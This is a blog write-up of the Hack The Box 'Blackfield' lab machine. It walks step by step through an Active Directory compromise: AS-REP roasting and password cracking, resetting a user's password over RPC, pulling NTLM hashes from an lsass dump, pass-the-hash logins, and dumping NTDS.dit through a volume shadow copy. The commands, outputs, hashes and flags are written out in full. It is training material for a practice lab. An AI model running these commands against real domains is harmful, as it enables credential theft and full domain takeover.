24th October 2021
Hack The Box Blakfield Write-Up by T13nn3s

Hack The Box – Blackfield – 10.10.10.192

I know the sky is not the limit because there are footprints on the Moon — and I made some of them!

Buzz Aldrin

About Blackfield

In this post, I’m writing a write-up for the machine Blackfield from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

Blackfield is a ‘Hard’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 20 and submitting the root flag your points will be raised by 40.

Foothold
After the port scan with Nmap, I discovered that this server is the Domain Controller in the forest blackfield.local. After doing some reconnaissance, I found a list of user accounts through an public available share with user accounts. As the server uses Kerberos. I have attacked the Kerberos service, in order to harvest the non-preauth AS_REP responses, and I have got the hand on the password for the user ‘support’.

User
The Service Desk usually creates, maintains and deletes user accounts. Via RPC (Remote Procedure Call) I had the possibility to change the password for the account audit2020 and then via evil-winrm I had a session as audit2020 on this box.

The user account audit2020 has permissions on the ‘forensic’ shared folder and through this shared folder I could download several files, among others lass.dmp. Using the Python version of Mimikatz, I was able to read out the NTLM hash of the user account svc_backup.

Root
As the user account svc_backup is a service account for the backup, it is a member of the Security Group ‘Backup Operators’. The account has some extra privileges so that it can backup critical system files, such as NTDS.dit. It has also permission to run the program DiskShadow.exe. With Powershell I have given the account svc_backup ‘Full Control’ on the NTDS.dit, then I have created a Volume Shadow Copy with the use of DiskShadow.exe. From the VSS the NTDS.dit file can be downloaded. Then I extracted the SYSTEM hive, from the Registry, in order to decrypt the contents of NTDS.dit. With the use of secretsdump.py from Impacket I was able to read the hashed password of the Administrator-account. I passed this hash with Evil-WinRM to the box to get a shell as the Administrator-account.

Machine Info

Hack The Box Blakfield Write-Up by T13nn3s
Machine Info
Hack The Box Blackfield Write-Up Machine IP and maker
Hack The Box Blackfield Machine IP and maker

Recon

Port scan

As always I start this box with the an Nmap portscan.

~$ nmap -sC -sV -oA ./nmap/blackfield.txt 10.10.10.192

The results.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-09 05:45 UTC
Stats: 0:01:28 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 05:47 (0:00:14 remaining)
Stats: 0:02:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 05:48 (0:00:20 remaining)
Nmap scan report for 10.10.10.192
Host is up (0.017s latency).
Not shown: 993 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-09 12:49:10Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/9%Time=5EDF2219%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h03m13s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-06-09T12:51:28
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.62 seconds

According to the results of Nmap, I’m dealing with a Domain Controller in the backfield.local forest, this server has the hostname DC01. The interesting ports are tcp/445 for SMB, 88/tcp for Kerberos, and 389/tcp for LDAP. Through Nmap, there are various scripts for enumeration for the Kerberos service and the LDAP protocol, but somehow the scripts of Nmap are not returning any information.

Enumeration through SMB

As the scripts of Nmap are not returning information for the Kerberos and LDAP service, I start with the enumeration of the SMB protocol. Maybe this protocol supports anonymous authentication, so I invoked the command below, for listing all of the available shares on this machine.

~$ smbclient -L //10.10.10.192
$smbclient -L //10.10.10.192
Enter WORKGROUP\htb-t13nn3s's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        profiles$       Disk      
        SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

The result is showing that there are two non-default shares listed on this box:

  1. forensic
  2. profiles$

I have started the enumeration of the forensic share, but I do not have the permission to list any files within this share.

~$ smbclient //10.10.10.192/forensic
Enter WORKGROUP\htb-t13nn3s's password: 
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*

I have to check this share later when I got some credentials. I jumped over to the profiles$ share. My expectations for the profiles$ are high. The names of the profile folders generally have the SAMaccountName of the user account in question. Via Kerberos I can check which usernames are actually present in the Active Directory.

~$ smbclient //10.10.10.192/profiles$                                                                                                                                                 
Enter WORKGROUP\htb-t13nn3s's password:                                                                                                                                                  
Try "help" to get a list of possible commands.                                                                                                                                           
smb: \> dir                                                                                                                                                                              
  .                                   D        0  Wed Jun  3 16:47:12 2020                                                                                                               
  ..                                  D        0  Wed Jun  3 16:47:12 2020                                                                                                               
  AAlleni                             D        0  Wed Jun  3 16:47:11 2020                                                                                                               
  ABarteski                           D        0  Wed Jun  3 16:47:11 2020                                                                                                               
  ABekesz                             D        0  Wed Jun  3 16:47:11 2020                                                                                                               
  ABenzies                            D        0  Wed Jun  3 16:47:11 2020
  ...  
  YPredestin                          D        0  Wed Jun  3 16:47:12 2020
  YSeturino                           D        0  Wed Jun  3 16:47:12 2020
  YSkoropada                          D        0  Wed Jun  3 16:47:12 2020
  YVonebers                           D        0  Wed Jun  3 16:47:12 2020
  YZarpentine                         D        0  Wed Jun  3 16:47:12 2020
  ZAlatti                             D        0  Wed Jun  3 16:47:12 2020
  ZKrenselewski                       D        0  Wed Jun  3 16:47:12 2020
  ZMalaab                             D        0  Wed Jun  3 16:47:12 2020
  ZMiick                              D        0  Wed Jun  3 16:47:12 2020
  ZScozzari                           D        0  Wed Jun  3 16:47:12 2020
  ZTimofeeff                          D        0  Wed Jun  3 16:47:12 2020
  ZWausik                             D        0  Wed Jun  3 16:47:12 2020

There are many directories listed, totally 314 directories. Where do I have to start? I walked through the list looking for something odd. And I found actually three usernames which are quite interesting to me:

  1. audit2020
  2. support
  3. svc_backup

I need to know which user account is actually present in the Active Directory. Impacket got a script for this purpose, named GetNPUsers.py. This script can check of the usernames are existing and if they have Kerberos pre-authentication enabled. I exported the shares to a file named ‘profiles.txt’, I want to sent founded captured Ticket-Gain-Tickets to john for cracking, that’s the reason that I have added the ‘-format’ parameter.

~$ python3 GetNPUsers.py blackfield.local/ -usersfile profiles.txt -outputfile hash.txt -dc-ip 10.10.10.192 -format john
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set

So, the users audit2020 and svc_backup are users that exist in the Active Directory. Now, let’s check if there is one or more TGT’s gained through the script. And yes! The file hash.txt contains the TGT of the user support and have given the hash to john and the password got cracked!

~$ cat hash.txt                                                                                                                                                                    
[email protected]:a805494b6a7c447abe584ba870f9d2a3$e47c1499e8ae5b3dd3daa0988c71dbd748766bfc904683a6830138acaa6f8a094679ba4b8c9fca816fee9ca6ba046133caf660b1cec58af01b07
7d19925c99767812dfdc105dc8948135cf346ec7953afe1520d75362c5c79039e70f5283aeec75d2e49c0065b2b9612d1ffd7299da534f054003d5984b40464f66c4918f61068131dafd8f1daa009cf4ac0a634a6de431eb3d3a51d72
d7d527d1324a17d87099757a5164391d49f3d10048e5187ce0500d170410d2b2469929e9bc91f1b14380ed624e95441b76e18ccde76163179309a1c6c8e857a90e63a3af72d44debc28d40da5414b2dc90b3dc89071d1d2a9933470c8fd
~$ john hash.txt -wordlist=/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt
~$ john hash.txt --show
[email protected]:#00^BlackKnight

I got now the credentials for the user account support.

support:#00^BlackKnight

I have got now the foothold on this box, the next phase: intrusion.

Intrusion

Enumeration through RPC

Always when I have credentials, I need to start again with the reconnaissance. The results of the portscan show that the port for RPC (Remote Procedure Call) is open. The next step is to connect to RPC with rpcclient and enumerate the user accounts again, to make sure that I have missed no user account.

~$ rpcclient -u support -w backfield.local 10.10.10.192
Enter BLACKFIELD.local\support's password:

I’m now connected with the RPC service, let’s check which user accounts are listed on this box.

~$ rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[audit2020] rid:[0x44f]
user:[support] rid:[0x450]
user:[BLACKFIELD764430] rid:[0x451]
user:[BLACKFIELD538365] rid:[0x452]
user:[BLACKFIELD189208] rid:[0x453]
user:[BLACKFIELD404458] rid:[0x454]
user:[BLACKFIELD706381] rid:[0x455]
...
user:[BLACKFIELD996878] rid:[0x582]
user:[BLACKFIELD653097] rid:[0x583]
user:[BLACKFIELD438814] rid:[0x584]
user:[svc_backup] rid:[0x585]
user:[lydericlefebvre] rid:[0x586]

The user account ‘lydericlefebvre’ is new for me, I think I have missed that account in the earlier reconnaissance. I do not know if I gonna need this account, but for now, I have added to the list of user accounts. The next part is to check which groups are listed in the Active Directory.

~$ rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]

I got now a list of all of the useful user accounts and a list of the user groups. As far as the security groups are concerned there is nothing special to report, rather than that are all default groups that are always listed in an Active Directory.

From now I have to check what I have to do. The account I’m currently logged in with has the name ‘support’. This account is apparently a Service Desk account. An IT Service Desk usually has the permissions to create, view and change user accounts.

After Google search I found this article: https://malicious.link/post/2017/reset-ad-user-password-with-linux/. This article explains how to change a password from an user account through the rpcclient. I have tried is and was able to change the password of the account audit2020 to ‘[email protected]’.

~$ rpcclient --user=support 10.10.10.192 -W blackfield.local
Enter BLACKFIELD.LOCAL\support's password: 
rpcclient $> setuserinfo2
Usage: setuserinfo2 username level password [password_expired]
rpcclient $> setuserinfo2 audit2020 23 [email protected]
rpcclient $> 

Jump to audit2020

Let’s jump over to the account audit2020. I know that there is a ‘forensic’ share listed on this box. Until now, I din’t have the proper permission to list and read the files within this share. Maybe audit2020 does have the proper permissions.

~$ smbclient //10.10.10.192/forensic --user=audit2020 --workgroup=blackfield.local                                                                               
Enter BLACKFIELD.LOCAL\audit2020's password:                                                                                                                                                                 
Try "help" to get a list of possible commands.                                                                                                                                                               
smb: \> ls                                                                                                                                                                                                   
  .                                   D        0  Sun Feb 23 08:03:16 2020                                                                                                                                   
  ..                                  D        0  Sun Feb 23 08:03:16 2020                                                                                                                                   
  commands_output                     D        0  Sun Feb 23 13:14:37 2020                                                                                                                                   
  memory_analysis                     D        0  Thu May 28 16:28:33 2020                                                                                                                                   
  tools                               D        0  Sun Feb 23 08:39:08 2020

                7846143 blocks of size 4096. 4108744 blocks available
smb: \> smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \commands_output\domain_admins.txt of size 528 as domain_admins.txt (3.8 KiloBytes/sec) (average 3.8 KiloBytes/sec)
getting file \commands_output\domain_groups.txt of size 962 as domain_groups.txt (6.8 KiloBytes/sec) (average 5.3 KiloBytes/sec)
getting file \commands_output\domain_users.txt of size 16454 as domain_users.txt (110.8 KiloBytes/sec) (average 41.6 KiloBytes/sec)
getting file \commands_output\firewall_rules.txt of size 518202 as firewall_rules.txt (1284.4 KiloBytes/sec) (average 642.4 KiloBytes/sec)
getting file \commands_output\ipconfig.txt of size 1782 as ipconfig.txt (12.2 KiloBytes/sec) (average 548.4 KiloBytes/sec)
getting file \commands_output\netstat.txt of size 3842 as netstat.txt (27.6 KiloBytes/sec) (average 483.6 KiloBytes/sec)
getting file \commands_output\route.txt of size 3976 as route.txt (28.1 KiloBytes/sec) (average 432.6 KiloBytes/sec)
getting file \commands_output\systeminfo.txt of size 4550 as systeminfo.txt (30.2 KiloBytes/sec) (average 389.7 KiloBytes/sec)
getting file \commands_output\tasklist.txt of size 9990 as tasklist.txt (69.2 KiloBytes/sec) (average 360.0 KiloBytes/sec)
getting file \memory_analysis\conhost.zip of size 37876530 as conhost.zip (1599.9 KiloBytes/sec) (average 1523.4 KiloBytes/sec)
getting file \memory_analysis\ctfmon.zip of size 24962333 as ctfmon.zip (1704.1 KiloBytes/sec) (average 1589.8 KiloBytes/sec)
getting file \memory_analysis\dfsrs.zip of size 23993305 as dfsrs.zip (1727.9 KiloBytes/sec) (average 1625.5 KiloBytes/sec)
getting file \memory_analysis\dllhost.zip of size 18366396 as dllhost.zip (1628.9 KiloBytes/sec) (average 1626.1 KiloBytes/sec)
getting file \memory_analysis\ismserv.zip of size 8810157 as ismserv.zip (1689.3 KiloBytes/sec) (average 1630.8 KiloBytes/sec)
getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (1658.7 KiloBytes/sec) (average 1638.2 KiloBytes/sec)

The user account audit2020 has the permissions to access the files in the share. I have downloaded all of them. I have also noticed that there is a directory listed with the name ‘tools’.

I have checked the contents of this folder and there are 3 tools listed. The tools ‘sysinternals’ and ‘volatility’ listed. Is there some investigation going on?

smb: \tools\> ls
  .                                   D        0  Sun Feb 23 08:39:08 2020
  ..                                  D        0  Sun Feb 23 08:39:08 2020
  sleuthkit-4.8.0-win32               D        0  Sun Feb 23 08:39:03 2020
  sysinternals                        D        0  Sun Feb 23 08:35:25 2020
  volatility                          D        0  Sun Feb 23 08:35:39 2020

                7846143 blocks of size 4096. 4114768 blocks available
smb: \tools\>

I need to analyse the downloaded information. Through all of the files, there is one particular file which attracts the attention.

memory_analissy\lsass.DMP
The lsaas stands for Local Security Authority Subsystem Service, the process lsass.exe is being used by Windows for authentication purposes. Through the tools directory, I noticed the program volatility which can be used for analyzing memory dumps. As this file holds a memory dump from the lsass, I need to focus on this file. When I can read this file, there is a possibility to extract password hashes.

It took me some time to read out the lsass.dmp, first I tried with volatility to read out the DMP file, but couldn’t get it to work on my Kali machine. Eventually, I used the Python version of Mimikatz, pypykatz.

~$ pypykatz lsa minidump lsass.DMP
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
        == MSV ==
                Username: svc_backup
                Domain: BLACKFIELD
                LM: NA
                NT: 9658d1d1dcd9250115e2205d9f48400d
                SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
        == WDIGEST [633ba]==
                username svc_backup
                domainname BLACKFIELD
                password None
        == SSP [633ba]==
                username 
                domainname 
                password None
        == Kerberos ==
                Username: svc_backup
                Domain: BLACKFIELD.LOCAL
                Password: None
        == WDIGEST [633ba]==
                username svc_backup
                domainname BLACKFIELD
                password None

I got now the NT (or just NTLM) hash from the user svc_backup. There is no need for cracking the hash, with Evil-WinRM I can just pass the hash.

~$ evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i 10.10.10.192

I’m currently logged in as svc_backup and by grabbing the user flag, I can go for privilege escalation.

*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> ls


    Directory: C:\Users\svc_backup\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/18/2020   6:53 PM             34 user.txt


*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
dfe91a601341819d2ca0cca082495551

Privilege Escalation

Enumeration

I’m now going for privilege escalation to Domain Administrator. As always I am checking first who I am. What kind of permissions does have the account svc_backup. I checked the group membership and I found out that this user is member of the group ‘Backup Operations’. That sounds very obvious, the name of the user account already suggests it.

*Evil-WinRM* PS C:\Users\svc_backup\Documents> net user svc_backup
User name                    svc_backup
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/23/2020 10:54:48 AM
Password expires             Never
Password changeable          2/24/2020 10:54:48 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2/23/2020 11:03:50 AM

Logon hours allowed          All

Local Group Memberships      *Backup Operators     *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc_backup\Documents>

A quick check on the privileges of this account learned me that it have at least two ‘extra’ privileges, such as SeBackupPrivilege and SeRestorePrivilege.

*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_backup\Documents>

The current privileges give me the way to do a privilege escalation. Members of the Backup Operators are able to back-up critical system files on this Domain Controller. After some research, I found out that this account has access to the program diskshadow.exe.

What is disk DiskShadow.exe?
Diskshadow is an interactive command interpreter similar to Diskpart of Diskraid. This program can be used to create Volume Shadow Snapshots (VSS) of disks and expose them as a folder or as a Driveletter. Using a shadow copy avoids problems with file locking when they are in use. Microsoft had introduced this program from Windows Server 2008 and it replaces the vsshadow. This program is by default located in the location C:\Windows\System32\Diskshadow.exe.

This gives me the opportunity to get the hand on the NTDS.dit file, by creating a Volume Shadow Copy I can solve the problem that the files are being locked. I also need the SYSTEM hive from the registry which is containing the boot key, which is needed to decrypt the NTDS.dit. The only challenge left is getting permissions on the NTDS.dit file.

Dumping the contents of NTDS.dit

Before I start working on the NTDS.dit, first this question.

What is NTDS.dit?
The NTDS.dit is the Active Directory database. It stores information about Security Groups, user objects, memberships and it stores all the hashed passwords of the user accounts. This file is encrypted with the boot key. NTDS.dit is only revealing his contents when it gots decrypted with this key. The boot key is stored in the SYSTEM hive in the Registry.

The program DiskShadow.exe is supporting scripts (DiskShadow.exe /s <script_file>), I have created a script which is creating a Volume Shadow Copy and expose the VSS with the Driveletter Z:\.

set context persistent nowriters#
add volume c: alias binsec#
create#
expose %binsec% z:#

Getting the permissions in the file NTDS.dit was pretty challenging for me, because I was overthinking. In the end it was easy as it is, just use Powershell to create an ACL-object which is giving the user account svc_backup ‘full control’ and apply the permission to the file ‘C:\Windows\NTDS\ntds.dit’.

*Evil-WinRM* PS C:\.enum> $NTDS = "C:\Windows\NTDS\ntds.dit"
*Evil-WinRM* PS C:\.enum> $acl = Get-Acl $NTDS
*Evil-WinRM* PS C:\.enum> $AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("blackfield.local\svc_backup","FullControl","Allow")
*Evil-WinRM* PS C:\.enum> $acl.SetAccessRule($AccessRule)
*Evil-WinRM* PS C:\.enum> $acl | Set-Acl $NTDS

Always checking your work.

*Evil-WinRM* PS C:\.enum> Get-acl $NTDS | select -expand accesstostring
BLACKFIELD\svc_backup Allow  FullControl
NT AUTHORITY\SYSTEM Allow  FullControl
BUILTIN\Administrators Allow  FullControl

I have already created the script for DiskShadow.exe and the permissions are set. I can now create the Volume Shadow Copy by calling the script from DiskShadow.exe. I have uploaded the script file to my working directory C:\.enum and run the script.

*Evil-WinRM* PS C:\.enum> diskshadow.exe /s C:\.enum\shadowscript.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  6/20/2020 6:42:48 PM

-> set context persistent nowriters
-> add volume c: alias binsec
-> create
Alias binsec for shadow ID {0068d66f-2552-4900-ae8b-8d4f2012c0a9} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {7c516490-e0d1-428d-a35a-ba583b2dcb2d} set as environment variable.

Querying all shadow copies with the shadow copy set ID {7c516490-e0d1-428d-a35a-ba583b2dcb2d}

        * Shadow copy ID = {0068d66f-2552-4900-ae8b-8d4f2012c0a9}               %binsec%
                - Shadow copy set: {7c516490-e0d1-428d-a35a-ba583b2dcb2d}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 6/20/2020 6:42:49 PM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                - Originating machine: DC01.BLACKFIELD.local
                - Service machine: DC01.BLACKFIELD.local
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %binsec% z:
-> %binsec% = {0068d66f-2552-4900-ae8b-8d4f2012c0a9}
The shadow copy was successfully exposed as z:\.
->
*Evil-WinRM* PS C:\.enum>

Now I can navigate to the Volume Shadow Copy and copy the NTDS.dit file to the box and then I can download this file to my machine.

*Evil-WinRM* PS C:\.enum> cd Z:\
*Evil-WinRM* PS Z:\> cd Windows\NTDS
*Evil-WinRM* PS Z:\Windows\NTDS> cp ntds.dit C:\.enum
*Evil-WinRM* PS Z:\Windows\NTDS> cd C:\.enum
*Evil-WinRM* PS C:\.enum> ls


    Directory: C:\.enum


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        6/20/2020   6:42 PM            612 2020-06-20_18-42-49_DC01.cab
-a----        6/20/2020   2:31 PM       18874368 ntds.dit
-a----        6/20/2020   6:42 PM             90 shadowscript.txt


*Evil-WinRM* PS C:\.enum> download ntds.dit
Info: Downloading C:\.enum\ntds.dit to ntds.dit

                                                             
Info: Download successful!

*Evil-WinRM* PS C:\.enum>

In order to extract the hashes from NTDS.dit, I need the SYSTEM hive which contains the boot key I need for the decryption of NTDS.dit.

*Evil-WinRM* PS C:\.enum> reg save hklm\system C:\.enum\system.bak
The operation completed successfully.

*Evil-WinRM* PS C:\.enum> download system.bak
Info: Downloading C:\.enum\system.bak to system.bak

                                                             
Info: Download successful!

*Evil-WinRM* PS C:\.enum

I got everything in place. With the secretsdump.py from Impacket I can extract the NTDS.dit and read the hashes.

~$ python3 secretsdump.py -ntds ntds.dit -system system.bak LOCAL                                                                                      
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation                                                                                                                                                     
                                                                                                                                                                                                             
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393                                                                                                                                                
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)                                                                                                                                                
[*] Searching for pekList, be patient                                                                                                                                                                        
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c                                                                                                                                            
[*] Reading and decrypting hashes from ntds.dit                                                                                                                                                              
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::                                                                                                                       
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                               
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::                                                                                                                              
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::                                                                                                                              
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5:::                                                                                                                          
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::

I can pass the hash with Evil-WinRM to the box and create a session with the Administrator-account.

~$ evil-winrm -u Administrator -H "184fb5e5178480be64824d4cd53b99ee" -i 10.10.10.192

On the Desktop there is a file ‘notes.txt’. The contents reveals that there was indeed an investigation going after a domain compromise. I think they are compromised again:-)

notes.txt

Mates,

After the domain compromise and computer forensic last week, auditors advised us to:
change every passwords -- Done.
change krbtgt password twice -- Done.
disable auditor's account (audit2020) -- KO.
use nominative domain admin accounts instead of this one -- KO.

We will probably have to backup & restore things later.
- Mike.

PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)

Last but not least, I need to read the “encrypted” audit report to have prove that I have owned this box.

*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
048aa4c756dcd99c078a7093cd64fe41

Did you enjoy this write-up as much as I enjoyed hacking this machine? Please, consider to give me a respect point, my HTB profile: https://www.hackthebox.eu/home/users/profile/224856. It means a lot to me. Thanks in advance!

This blog is free for charge. I do not place any advertisements on this website. If you want to support me, you can give me a cup of coffee; Black, no sugar.

Buy me a coffeeBuy me a coffee

Happy Hacking!

T13nn3s

I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

View all posts by T13nn3s →

Leave a Reply

Your email address will not be published. Required fields are marked *